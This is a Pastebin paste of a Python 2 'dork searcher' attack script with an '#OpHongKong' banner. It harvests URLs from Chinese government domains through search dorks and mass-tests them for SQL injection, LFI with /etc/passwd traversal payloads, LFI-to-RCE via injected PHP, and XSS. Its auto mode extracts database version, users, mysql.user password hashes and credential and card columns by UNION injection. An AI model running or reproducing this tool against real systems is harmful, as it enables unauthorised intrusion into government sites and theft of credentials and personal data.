Advertisement
Aluf

Dork.py

Jan 31st, 2015
618
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 27.51 KB | None | 0 0
  1. #################
  2. BY ALUF
  3. #################
  4.  
  5. #!/usr/bin/python2
  6. # This was written for educational purpose and pentest only. Use it at your own risk.
  7. # Author will be not responsible for any damage!
  8.  
  9.  
  10. import string, sys, time, urllib2, cookielib, re, random, threading, socket, os, subprocess
  11. from random import choice
  12.  
  13. # Colours
  14. W  = "\033[0m";  
  15. R  = "\033[31m";
  16. G  = "\033[32m";
  17. O  = "\033[33m";
  18. B  = "\033[34m";
  19.  
  20.  
  21. # Banner
  22. def logo():
  23.         print R+"\n|---------------------------------------------------------------|"
  24.         print "|             #OpHongKong                                           |"
  25.         print "|                                                                   |"
  26.         print "|                 dork searcher                                     |"
  27.         print "|                                                                   |"
  28.         print "|-------------------------------------------------------------------|\n"
  29.         print W
  30.  
  31. if sys.platform == 'linux' or sys.platform == 'linux2':
  32.   subprocess.call("clear", shell=True)
  33.   logo()
  34.  
  35. else:
  36.   subprocess.call("cls", shell=True)
  37.   logo()
  38.  
  39. log = "darkd0rk3r-sqli.txt"
  40. logfile = open(log, "a")
  41. lfi_log = "darkd0rk3r-lfi.txt"
  42. lfi_log_file = open(lfi_log, "a")
  43. rce_log = "darkd0rk3r-rce.txt"
  44. rce_log_file = open(rce_log, "a")
  45. xss_log = "darkd0rk3r-xss.txt"
  46. xss_log_file = open(xss_log, "a")
  47.  
  48. threads = []
  49. finallist = []
  50. vuln = []
  51. col = []
  52. darkurl = []
  53. arg_end = "--"
  54. arg_eva = "+"
  55. colMax = 10 # Change this at your will
  56. gets = 0
  57. file = "/etc/passwd"
  58. timeout = 60
  59. socket.setdefaulttimeout(timeout)
  60.  
  61.  
  62. lfis = ["/etc/passwd%00","../etc/passwd%00","../../etc/passwd%00","../../../etc/passwd%00","../../../../etc/passwd%00","../../../../../etc/passwd%00","../../../../../../etc/passwd%00","../../../../../../../etc/passwd%00","../../../../../../../../etc/passwd%00","../../../../../../../../../etc/passwd%00","../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../../../etc/passwd%00","/etc/passwd","../etc/passwd","../../etc/passwd","../../../etc/passwd","../../../../etc/passwd","../../../../../etc/passwd","../../../../../../etc/passwd","../../../../../../../etc/passwd","../../../../../../../../etc/passwd","../../../../../../../../../etc/passwd","../../../../../../../../../../etc/passwd","../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../etc/passwd"]
  63.  
  64. xsses = ["<h1>XSS by baltazar</h1>","%3Ch1%3EXSS%20by%20baltazar%3C/h1%3E"]
  65.  
  66. tables = ['user','users','tbladmins','Logins','logins','login','admins','members','member', '_wfspro_admin', '4images_users', 'a_admin', 'account', 'accounts', 'adm', 'admin', 'admin_login', 'admin_user', 'admin_userinfo', 'administer', 'administrable', 'administrate', 'administration', 'administrator', 'administrators', 'adminrights', 'admins', 'adminuser','adminusers','article_admin', 'articles', 'artikel','author', 'autore', 'backend', 'backend_users', 'backenduser', 'bbs', 'book', 'chat_config', 'chat_messages', 'chat_users', 'client', 'clients', 'clubconfig', 'company', 'config', 'contact', 'contacts', 'content', 'control', 'cpg_config', 'cpg132_users', 'customer', 'customers', 'customers_basket', 'dbadmins', 'dealer', 'dealers', 'diary', 'download', 'Dragon_users', 'e107.e107_user', 'e107_user', 'forum.ibf_members', 'fusion_user_groups', 'fusion_users', 'group', 'groups', 'ibf_admin_sessions', 'ibf_conf_settings', 'ibf_members', 'ibf_members_converge', 'ibf_sessions', 'icq', 'index', 'info', 'ipb.ibf_members', 'ipb_sessions', 'joomla_users', 'jos_blastchatc_users', 'jos_comprofiler_members', 'jos_contact_details', 'jos_joomblog_users', 'jos_messages_cfg', 'jos_moschat_users', 'jos_users', 'knews_lostpass', 'korisnici', 'kpro_adminlogs', 'kpro_user', 'links', 'login_admin', 'login_admins', 'login_user', 'login_users','logon', 'logs', 'lost_pass', 'lost_passwords', 'lostpass', 'lostpasswords', 'm_admin', 'main', 'mambo_session', 'mambo_users', 'manage', 'manager', 'mb_users','memberlist','minibbtable_users', 'mitglieder', 'mybb_users', 'mysql', 'name', 'names', 'news', 'news_lostpass', 'newsletter', 'nuke_users', 'obb_profiles', 'order', 'orders', 'parol', 'partner', 'partners', 'passes', 'password', 'passwords', 'perdorues', 'perdoruesit', 'phorum_session', 'phorum_user', 'phorum_users', 'phpads_clients', 'phpads_config', 'phpbb_users', 'phpBB2.forum_users', 'phpBB2.phpbb_users', 'phpmyadmin.pma_table_info', 'pma_table_info', 'poll_user', 'punbb_users', 'pwd', 'pwds', 'reg_user', 'reg_users', 'registered', 'reguser', 'regusers', 'session', 'sessions', 'settings', 'shop.cards', 'shop.orders', 'site_login', 'site_logins', 'sitelogin', 'sitelogins', 'sites', 'smallnuke_members', 'smf_members', 'SS_orders', 'statistics', 'superuser', 'sysadmin', 'sysadmins', 'system', 'sysuser', 'sysusers', 'table', 'tables', 'tb_admin', 'tb_administrator', 'tb_login', 'tb_member', 'tb_members', 'tb_user', 'tb_username', 'tb_usernames', 'tb_users', 'tbl', 'tbl_user', 'tbl_users', 'tbluser', 'tbl_clients', 'tbl_client', 'tblclients', 'tblclient', 'test', 'usebb_members','user_admin', 'user_info', 'user_list', 'user_login', 'user_logins', 'user_names', 'usercontrol', 'userinfo', 'userlist', 'userlogins', 'username', 'usernames', 'userrights','vb_user', 'vbulletin_session', 'vbulletin_user', 'voodoo_members', 'webadmin', 'webadmins', 'webmaster', 'webmasters', 'webuser', 'webusers','wp_users', 'x_admin', 'xar_roles', 'xoops_bannerclient', 'xoops_users', 'yabb_settings', 'yabbse_settings', 'Category', 'CategoryGroup', 'ChicksPass', 'dtproperties', 'JamPass', 'News', 'Passwords by usage count', 'PerfPassword', 'PerfPasswordAllSelected','pristup', 'SubCategory', 'tblRestrictedPasswords', 'Ticket System Acc Numbers', 'Total Members', 'UserPreferences', 'tblConfigs', 'tblLogBookAuthor', 'tblLogBookUser', 'tblMails', 'tblOrders', 'tblUser', 'cms_user', 'cms_users', 'cms_admin', 'cms_admins', 'user_name', 'jos_user', 'table_user', 'email', 'mail', 'bulletin', 'login_name', 'admuserinfo', 'userlistuser_list', 'SiteLogin', 'Site_Login', 'UserAdmin']
  67.  
  68. columns = ['user', 'username', 'password', 'passwd', 'pass', 'cc_number', 'id', 'email', 'emri', 'fjalekalimi', 'pwd', 'user_name', 'customers_email_address', 'customers_password', 'user_password', 'name', 'user_pass', 'admin_user', 'admin_password', 'admin_pass', 'usern', 'user_n', 'users', 'login', 'logins', 'login_user', 'login_admin', 'login_username', 'user_username', 'user_login', 'auid', 'apwd', 'adminid', 'admin_id', 'adminuser', 'adminuserid', 'admin_userid', 'adminusername', 'admin_username', 'adminname', 'admin_name', 'usr', 'usr_n', 'usrname', 'usr_name', 'usrpass', 'usr_pass', 'usrnam', 'nc', 'uid', 'userid', 'user_id', 'myusername', 'mail', 'emni', 'logohu', 'punonjes', 'kpro_user', 'wp_users', 'emniplote', 'perdoruesi', 'perdorimi', 'punetoret', 'logini', 'llogaria', 'fjalekalimin', 'kodi', 'emer', 'ime', 'korisnik', 'korisnici', 'user1', 'administrator', 'administrator_name', 'mem_login', 'login_password', 'login_pass', 'login_passwd', 'login_pwd', 'sifra', 'lozinka', 'psw', 'pass1word', 'pass_word', 'passw', 'pass_w', 'user_passwd', 'userpass', 'userpassword', 'userpwd', 'user_pwd', 'useradmin', 'user_admin', 'mypassword', 'passwrd', 'admin_pwd', 'admin_passwd', 'mem_password', 'memlogin', 'e_mail', 'usrn', 'u_name', 'uname', 'mempassword', 'mem_pass', 'mem_passwd', 'mem_pwd', 'p_word', 'pword', 'p_assword', 'myname', 'my_username', 'my_name', 'my_password', 'my_email', 'korisnicko', 'cvvnumber ', 'about', 'access', 'accnt', 'accnts', 'account', 'accounts', 'admin', 'adminemail', 'adminlogin', 'adminmail', 'admins', 'aid', 'aim', 'auth', 'authenticate', 'authentication', 'blog', 'cc_expires', 'cc_owner', 'cc_type', 'cfg', 'cid', 'clientname', 'clientpassword', 'clientusername', 'conf', 'config', 'contact', 'converge_pass_hash', 'converge_pass_salt', 'crack', 'customer', 'customers', 'cvvnumber', 'data', 'db_database_name', 'db_hostname', 'db_password', 'db_username', 'download', 'e-mail', 'emailaddress', 'full', 'gid', 'group', 'group_name', 'hash', 'hashsalt', 'homepage', 'icq', 'icq_number', 'id_group', 'id_member', 'images', 'index', 'ip_address', 'last_ip', 'last_login', 'lastname', 'log', 'login_name', 'login_pw', 'loginkey', 'loginout', 'logo', 'md5hash', 'member', 'member_id', 'member_login_key', 'member_name', 'memberid', 'membername', 'members', 'new', 'news', 'nick', 'number', 'nummer', 'pass_hash', 'passwordsalt', 'passwort', 'personal_key', 'phone', 'privacy', 'pw', 'pwrd', 'salt', 'search', 'secretanswer', 'secretquestion', 'serial', 'session_member_id', 'session_member_login_key', 'sesskey', 'setting', 'sid', 'spacer', 'status', 'store', 'store1', 'store2', 'store3', 'store4', 'table_prefix', 'temp_pass', 'temp_password', 'temppass', 'temppasword', 'text', 'un', 'user_email', 'user_icq', 'user_ip', 'user_level', 'user_passw', 'user_pw', 'user_pword', 'user_pwrd', 'user_un', 'user_uname', 'user_usernm', 'user_usernun', 'user_usrnm', 'userip', 'userlogin', 'usernm', 'userpw', 'usr2', 'usrnm', 'usrs', 'warez', 'xar_name', 'xar_pass']
  69.  
  70.  
  71.  
  72. sqlerrors = {'MySQL': 'error in your SQL syntax',
  73.              'MiscError': 'mysql_fetch',
  74.              'MiscError2': 'num_rows',
  75.              'Oracle': 'ORA-01756',
  76.              'JDBC_CFM': 'Error Executing Database Query',
  77.              'JDBC_CFM2': 'SQLServer JDBC Driver',
  78.              'MSSQL_OLEdb': 'Microsoft OLE DB Provider for SQL Server',
  79.              'MSSQL_Uqm': 'Unclosed quotation mark',
  80.              'MS-Access_ODBC': 'ODBC Microsoft Access Driver',
  81.              'MS-Access_JETdb': 'Microsoft JET Database',
  82.              'Error Occurred While Processing Request' : 'Error Occurred While Processing Request',
  83.              'Server Error' : 'Server Error',
  84.              'Microsoft OLE DB Provider for ODBC Drivers error' : 'Microsoft OLE DB Provider for ODBC Drivers error',
  85.              'Invalid Querystring' : 'Invalid Querystring',
  86.              'OLE DB Provider for ODBC' : 'OLE DB Provider for ODBC',
  87.              'VBScript Runtime' : 'VBScript Runtime',
  88.              'ADODB.Field' : 'ADODB.Field',
  89.              'BOF or EOF' : 'BOF or EOF',
  90.              'ADODB.Command' : 'ADODB.Command',
  91.              'JET Database' : 'JET Database',
  92.              'mysql_fetch_array()' : 'mysql_fetch_array()',
  93.              'Syntax error' : 'Syntax error',
  94.              'mysql_numrows()' : 'mysql_numrows()',
  95.              'GetArray()' : 'GetArray()',
  96.              'FetchRow()' : 'FetchRow()',
  97.              'Input string was not in a correct format' : 'Input string was not in a correct format'}
  98.              
  99.  
  100. header = ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)',
  101.           'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre',
  102.           'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;',
  103.           'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)',
  104.           'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)',
  105.           'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)',
  106.           'Microsoft Internet Explorer/4.0b1 (Windows 95)',
  107.           'Opera/8.00 (Windows NT 5.1; U; en)',
  108.           'amaya/9.51 libwww/5.4.0',
  109.           'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)',
  110.           'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',
  111.           'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',
  112.           'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)',
  113.           'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 [email protected])',
  114.           'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]']
  115.          
  116.          
  117. domains = {'Chinese Gov Sites':['.gov.cn','.gov.hk']}
  118.            
  119.  
  120.  
  121.  
  122. def search(inurl, maxc):
  123.   urls = []
  124.   for site in sitearray:
  125.     page = 0
  126.     try:
  127.       while page < int(maxc):
  128.         jar = cookielib.FileCookieJar("cookies")
  129.         query = inurl+"+site:"+site
  130.         results_web = 'http://www.search-results.com/web?q='+query+'&hl=en&page='+repr(page)+'&src=hmp'
  131.         request_web =urllib2.Request(results_web)
  132.         agent = random.choice(header)
  133.         request_web.add_header('User-Agent', agent)
  134.         opener_web = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))
  135.         text = opener_web.open(request_web).read()
  136.         stringreg = re.compile('(?<=href=")(.*?)(?=")')
  137.         names = stringreg.findall(text)
  138.         page += 1
  139.         for name in names:
  140.           if name not in urls:
  141.             if re.search(r'\(',name) or re.search("<", name) or re.search("\A/", name) or re.search("\A(http://)\d", name):
  142.               pass
  143.             elif re.search("google",name) or re.search("youtube", name) or re.search("phpbuddy", name) or re.search("iranhack",name) or re.search("phpbuilder",name) or re.search("codingforums", name) or re.search("phpfreaks", name) or re.search("%", name) or re.search("facebook", name) or re.search("twitter", name):
  144.               pass
  145.             else:
  146.               urls.append(name)
  147.         percent = int((1.0*page/int(maxc))*100)
  148.         urls_len = len(urls)
  149.         sys.stdout.write("\rSite: %s | Collected urls: %s | Percent Done: %s | Current page no.: %s <> " % (site,repr(urls_len),repr(percent),repr(page)))
  150.         sys.stdout.flush()
  151.     except(KeyboardInterrupt):
  152.       pass
  153.   tmplist = []
  154.   print "\n\n[+] URLS (unsorted): ",len(urls)
  155.   for url in urls:
  156.     try:
  157.       host = url.split("/",3)
  158.       domain = host[2]
  159.       if domain not in tmplist and "=" in url:
  160.         finallist.append(url)
  161.         tmplist.append(domain)
  162.        
  163.     except:
  164.       pass
  165.   print "[+] URLS (sorted)  : ",len(finallist)
  166.   return finallist
  167.  
  168.  
  169. class injThread(threading.Thread):
  170.         def __init__(self,hosts):
  171.                 self.hosts=hosts
  172.                 self.fcount = 0
  173.                 self.check = True
  174.                 threading.Thread.__init__(self)
  175.  
  176.         def run (self):
  177.                 urls = list(self.hosts)
  178.                 for url in urls:
  179.                         try:
  180.                                 if self.check == True:
  181.                                         ClassicINJ(url)
  182.                                 else:
  183.                                         break
  184.                         except(KeyboardInterrupt,ValueError):
  185.                                 pass
  186.                 self.fcount+=1
  187.  
  188.         def stop(self):
  189.                 self.check = False
  190.                
  191. class lfiThread(threading.Thread):
  192.         def __init__(self,hosts):
  193.                 self.hosts=hosts
  194.                 self.fcount = 0
  195.                 self.check = True
  196.                 threading.Thread.__init__(self)
  197.  
  198.         def run (self):
  199.                 urls = list(self.hosts)
  200.                 for url in urls:
  201.                         try:
  202.                                 if self.check == True:
  203.                                         ClassicLFI(url)
  204.                                 else:
  205.                                         break
  206.                         except(KeyboardInterrupt,ValueError):
  207.                                 pass
  208.                 self.fcount+=1
  209.  
  210.         def stop(self):
  211.                 self.check = False
  212.                
  213. class xssThread(threading.Thread):
  214.         def __init__(self,hosts):
  215.                 self.hosts=hosts
  216.                 self.fcount = 0
  217.                 self.check = True
  218.                 threading.Thread.__init__(self)
  219.  
  220.         def run (self):
  221.                 urls = list(self.hosts)
  222.                 for url in urls:
  223.                         try:
  224.                                 if self.check == True:
  225.                                         ClassicXSS(url)
  226.                                 else:
  227.                                         break
  228.                         except(KeyboardInterrupt,ValueError):
  229.                                 pass
  230.                 self.fcount+=1
  231.  
  232.         def stop(self):
  233.                 self.check = False
  234.                
  235.                
  236. def ClassicINJ(url):
  237.         EXT = "'"
  238.         host = url+EXT
  239.         try:
  240.                 source = urllib2.urlopen(host).read()
  241.                 for type,eMSG in sqlerrors.items():
  242.                         if re.search(eMSG, source):
  243.                                 print R+"[!] w00t!,w00t!:", O+host, B+"Error:", type,R+" ---> SQL Injection Found"
  244.                                 logfile.write("\n"+host)
  245.                                 vuln.append(host)
  246.                                 col.append(host)
  247.                                 break
  248.                                
  249.                                
  250.                         else:
  251.                                 pass
  252.         except:
  253.                 pass
  254.  
  255.  
  256. def ClassicLFI(url):
  257.   lfiurl = url.rsplit('=', 1)[0]
  258.   if lfiurl[-1] != "=":
  259.     lfiurl = lfiurl + "="
  260.   for lfi in lfis:
  261.     try:
  262.       check = urllib2.urlopen(lfiurl+lfi.replace("\n", "")).read()
  263.       if re.findall("root:x", check):
  264.         print R+"[!] w00t!,w00t!: ", O+lfiurl+lfi,R+" ---> Local File Include Found"
  265.         lfi_log_file.write("\n"+lfiurl+lfi)
  266.         vuln.append(lfiurl+lfi)
  267.         target = lfiurl+lfi
  268.         target = target.replace("/etc/passwd","/proc/self/environ")
  269.         header = "<? echo md5(baltazar); ?>"
  270.         try:
  271.           request_web = urllib2.Request(target)
  272.           request_web.add_header('User-Agent', header)
  273.           text = urllib2.urlopen(request_web)
  274.           text = text.read()
  275.           if re.findall("f17f4b3e8e709cd3c89a6dbd949d7171", text):
  276.             print R+"[!] w00t!,w00t!: ",O+target,R+" ---> LFI to RCE Found"
  277.             rce_log_file.write("\n",target)
  278.             vuln.append(target)
  279.         except:
  280.           pass
  281.        
  282.     except:
  283.       pass
  284.  
  285. def ClassicXSS(url):
  286.   for xss in xsses:
  287.     try:
  288.       source = urllib2.urlopen(url+xss.replace("\n","")).read()
  289.       if re.findall("XSS by baltazar", source):
  290.         print R+"[!] w00t!,w00t!: ", O+url+xss,R+" ---> XSS Found (might be false)"
  291.         xss_log_file.write("\n"+url+xss)
  292.         vuln.append(url+xss)
  293.     except:
  294.       pass
  295.  
  296. def injtest():
  297.   print B+"\n[+] Preparing for SQLi scanning ..."
  298.   print "[+] Can take a while ..."
  299.   print "[!] Working ...\n"
  300.   i = len(usearch) / int(numthreads)
  301.   m = len(usearch) % int(numthreads)
  302.   z = 0
  303.   if len(threads) <= numthreads:
  304.     for x in range(0, int(numthreads)):
  305.       sliced = usearch[x*i:(x+1)*i]
  306.       if (z<m):
  307.         sliced.append(usearch[int(numthreads)*i+z])
  308.         z +=1
  309.       thread = injThread(sliced)
  310.       thread.start()
  311.       threads.append(thread)
  312.     for thread in threads:
  313.       thread.join()
  314.      
  315. def lfitest():
  316.   print B+"\n[+] Preparing for LFI - RCE scanning ..."
  317.   print "[+] Can take a while ..."
  318.   print "[!] Working ...\n"
  319.   i = len(usearch) / int(numthreads)
  320.   m = len(usearch) % int(numthreads)
  321.   z = 0
  322.   if len(threads) <= numthreads:
  323.     for x in range(0, int(numthreads)):
  324.       sliced = usearch[x*i:(x+1)*i]
  325.       if (z<m):
  326.         sliced.append(usearch[int(numthreads)*i+z])
  327.         z +=1
  328.       thread = lfiThread(sliced)
  329.       thread.start()
  330.       threads.append(thread)
  331.     for thread in threads:
  332.       thread.join()
  333.  
  334. def xsstest():
  335.   print B+"\n[+] Preparing for XSS scanning ..."
  336.   print "[+] Can take a while ..."
  337.   print "[!] Working ...\n"
  338.   i = len(usearch) / int(numthreads)
  339.   m = len(usearch) % int(numthreads)
  340.   z = 0
  341.   if len(threads) <= numthreads:
  342.     for x in range(0, int(numthreads)):
  343.       sliced = usearch[x*i:(x+1)*i]
  344.       if (z<m):
  345.         sliced.append(usearch[int(numthreads)*i+z])
  346.         z +=1
  347.       thread = xssThread(sliced)
  348.       thread.start()
  349.       threads.append(thread)
  350.     for thread in threads:
  351.       thread.join()
  352.  
  353. menu = True
  354. new = 1
  355. while menu == True:
  356.   if new == 1:
  357.     threads = []
  358.     finallist = []
  359.     vuln = []
  360.     col = []
  361.     darkurl = []
  362.    
  363.     stecnt = 0
  364.     for k,v in domains.items():
  365.       stecnt += 1
  366.       print str(stecnt)+" - "+k
  367.     sitekey = raw_input("\nChoose your target   : ")
  368.     sitearray = domains[domains.keys()[int(sitekey)-1]]
  369.    
  370.  
  371.     inurl = raw_input('\nEnter your dork      : ')
  372.     numthreads = raw_input('Enter no. of threads : ')
  373.     maxc = raw_input('Enter no. of pages   : ')
  374.     print "\nNumber of SQL errors :",len(sqlerrors)
  375.     print "Number of LFI paths  :",len(lfis)
  376.     print "Number of XSS cheats :",len(xsses)
  377.     print "Number of headers    :",len(header)
  378.     print "Number of threads    :",numthreads
  379.     print "Number of pages      :",maxc
  380.     print "Timeout in seconds   :",timeout
  381.     print ""
  382.  
  383.     usearch = search(inurl,maxc)
  384.     new = 0
  385.  
  386.   print R+"\n[0] Exit"
  387.   print "[1] SQLi Testing"
  388.   print "[2] SQLi Testing Auto Mode"
  389.   print "[3] LFI - RCE Testing"
  390.   print "[4] XSS Testing"
  391.   print "[5] SQLi and LFI - RCE Testing"
  392.   print "[6] SQLi and XSS Testing"
  393.   print "[7] LFI - RCE and XSS Testing"
  394.   print "[8] SQLi,LFI - RCE and XSS Testing"
  395.   print "[9] Save valid urls to file"
  396.   print "[10] Print valid urls"
  397.   print "[11] Found vuln in last scan"
  398.   print "[12] New Scan\n"
  399.  
  400.   chce = raw_input(":")
  401.   if chce == '1':
  402.     injtest()
  403.    
  404.   if chce == '2':
  405.     injtest()
  406.     print B+"\n[+] Preparing for Column Finder ..."
  407.     print "[+] Can take a while ..."
  408.     print "[!] Working ..."
  409.     # Thanks rsauron for schemafuzz
  410.     for host in col:
  411.       print R+"\n[+] Target: ", O+host
  412.       print R+"[+] Attempting to find the number of columns ..."
  413.       print "[+] Testing: ",
  414.       checkfor = []
  415.       host = host.rsplit("'", 1)[0]
  416.       sitenew = host+arg_eva+"and"+arg_eva+"1=2"+arg_eva+"union"+arg_eva+"all"+arg_eva+"select"+arg_eva
  417.       makepretty = ""
  418.       for x in xrange(0, colMax):
  419.         try:
  420.           sys.stdout.write("%s," % (x))
  421.           sys.stdout.flush()
  422.           darkc0de = "dark"+str(x)+"c0de"
  423.           checkfor.append(darkc0de)
  424.           if x > 0:
  425.             sitenew += ","
  426.           sitenew += "0x"+darkc0de.encode("hex")
  427.           finalurl = sitenew+arg_end
  428.           gets += 1
  429.           source = urllib2.urlopen(finalurl).read()
  430.           for y in checkfor:
  431.             colFound = re.findall(y, source)
  432.             if len(colFound) >= 1:
  433.               print "\n[+] Column length is:", len(checkfor)
  434.               nullcol = re.findall(("\d+"), y)
  435.               print "[+] Found null column at column #:", nullcol[0]
  436.               for z in xrange(0, len(checkfor)):
  437.                 if z > 0:
  438.                   makepretty += ","
  439.                 makepretty += str(z)
  440.               site = host+arg_eva+"and"+arg_eva+"1=2"+arg_eva+"union"+arg_eva+"all"+arg_eva+"select"+arg_eva+makepretty
  441.               print "[+] SQLi URL:", site+arg_end
  442.               site = site.replace(","+nullcol[0]+",",",darkc0de,")
  443.               site = site.replace(arg_eva+nullcol[0]+",",arg_eva+"darkc0de,")
  444.               site = site.replace(","+nullcol[0],",darkc0de")
  445.               print "[+] darkc0de URL:", site
  446.               darkurl.append(site)
  447.               print "[-] Done!\n"
  448.               break
  449.              
  450.         except(KeyboardInterrupt, SystemExit):
  451.           raise
  452.         except:
  453.           pass
  454.      
  455.       print "\n[!] Sorry column length could not be found\n"
  456.      
  457.      
  458.       #########
  459.    
  460.     print B+"\n[+] Gathering MySQL Server Configuration..."
  461.     for site in darkurl:
  462.       head_URL = site.replace("darkc0de", "concat(0x1e,0x1e,version(),0x1e,user(),0x1e,database(),0x1e,0x20)")+arg_end
  463.       print R+"\n[+] Target:", O+site
  464.       while 1:
  465.         try:
  466.           gets += 1
  467.           source = urllib2.urlopen(head_URL).read()
  468.           match = re.findall("\x1e\x1e\S+", source)
  469.           if len(match) >= 1:
  470.             match = match[0][2:].split("\x1e")
  471.             version = match[0]
  472.             user = match[1]
  473.             database = match[2]
  474.             print W+"\n\tDatabase:", database
  475.             print "\tUser:", user
  476.             print "\tVersion:", version
  477.             version = version[0]
  478.          
  479.             load = site.replace("darkc0de", "load_file(0x2f6574632f706173737764)")
  480.             source = urllib2.urlopen(load).read()
  481.             if re.findall("root:x", source):
  482.               load = site.replace("darkc0de","concat_ws(char(58),load_file(0x"+file.encode("hex")+"),0x62616c74617a6172)")
  483.               source = urllib2.urlopen(load).read()
  484.               search = re.findall("baltazar",source)
  485.               if len(search) > 0:
  486.                 print "\n[!] w00t!w00t!: "+site.replace("darkc0de", "load_file(0x"+file.encode("hex")+")")
  487.            
  488.             load = site.replace("dakrc0de", "concat_ws(char(58),user,password,0x62616c74617a6172)")+arg_eva+"from"+arg_eva+"mysql.user"
  489.             source = urllib2.urlopen(load).read()
  490.             if re.findall("baltazar", source):
  491.               print "\n[!] w00t!w00t!: "+site.replace("darkc0de", "concat_ws(char(58),user,password)")+arg_eva+"from"+arg_eva+"mysql.user"
  492.          
  493.           print W+"\n[+] Number of tables:",len(tables)
  494.           print "[+] Number of columns:",len(columns)
  495.           print "[+] Checking for tables and columns..."
  496.           target = site.replace("darkc0de", "0x62616c74617a6172")+arg_eva+"from"+arg_eva+"T"
  497.           for table in tables:
  498.             try:
  499.               target_table = target.replace("T", table)
  500.               source = urllib2.urlopen(target_table).read()
  501.               search = re.findall("baltazar", source)
  502.               if len(search) > 0:
  503.                 print "\n[!] w00t!w00t! Found a table called: < "+table+" >"
  504.                 print "\n[+] Lets check for columns inside table < "+table+" >"
  505.                 for column in columns:
  506.                   try:
  507.                     source = urllib2.urlopen(target_table.replace("0x62616c74617a6172", "concat_ws(char(58),0x62616c74617a6172,"+column+")")).read()
  508.                     search = re.findall("baltazar", source)
  509.                     if len(search) > 0:
  510.                       print "\t[!] w00t!w00t! Found a column called: < "+column+" >"
  511.                   except(KeyboardInterrupt, SystemExit):
  512.                     raise
  513.                   except(urllib2.URLErrr, socket.gaierror, socket.error, socket.timeout):
  514.                     pass
  515.            
  516.                 print "\n[-] Done searching inside table < "+table+" > for columns!"
  517.          
  518.             except(KeyboardInterrupt, SystemExit):
  519.               raise
  520.             except(urllib2.URLError, socket.gaierror, socket.error, socket.timeout):
  521.               pass
  522.           print "[!] Fuzzing is finished!"
  523.           break  
  524.         except(KeyboardInterrupt, SystemExit):
  525.           raise
  526.        
  527.    
  528.        
  529.    
  530.      
  531.   if chce == '3':
  532.     lfitest()
  533.  
  534.   if chce == '4':
  535.     xsstest()
  536.    
  537.   if chce == '5':
  538.     injtest()
  539.     lfitest()
  540.      
  541.   if chce == '6':
  542.     injtest()
  543.     xsstest()
  544.    
  545.   if chce == '7':
  546.     lfitest()
  547.     xsstest()
  548.    
  549.   if chce == '8':
  550.     injtest()
  551.     lfitest()
  552.     xsstest()
  553.    
  554.   if chce == '9':
  555.     print B+"\nSaving valid urls ("+str(len(finallist))+") to file"
  556.     listname = raw_input("Filename: ")
  557.     list_name = open(listname, "w")
  558.     finallist.sort()
  559.     for t in finallist:
  560.       list_name.write(t+"\n")
  561.     list_name.close()
  562.     print "Urls saved, please check", listname
  563.    
  564.   if chce == '10':
  565.     print W+"\nPrinting valid urls:\n"
  566.     finallist.sort()
  567.     for t in finallist:
  568.       print B+t
  569.      
  570.   if chce == '11':
  571.     print B+"\nVuln found ",len(vuln)
  572.    
  573.   if chce == '12':
  574.     new = 1
  575.     print W+""
  576.  
  577.   if chce == '0':
  578.     print R+"\n[-] Exiting ..."
  579.     mnu = False
  580.     print W
  581.     sys.exit(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement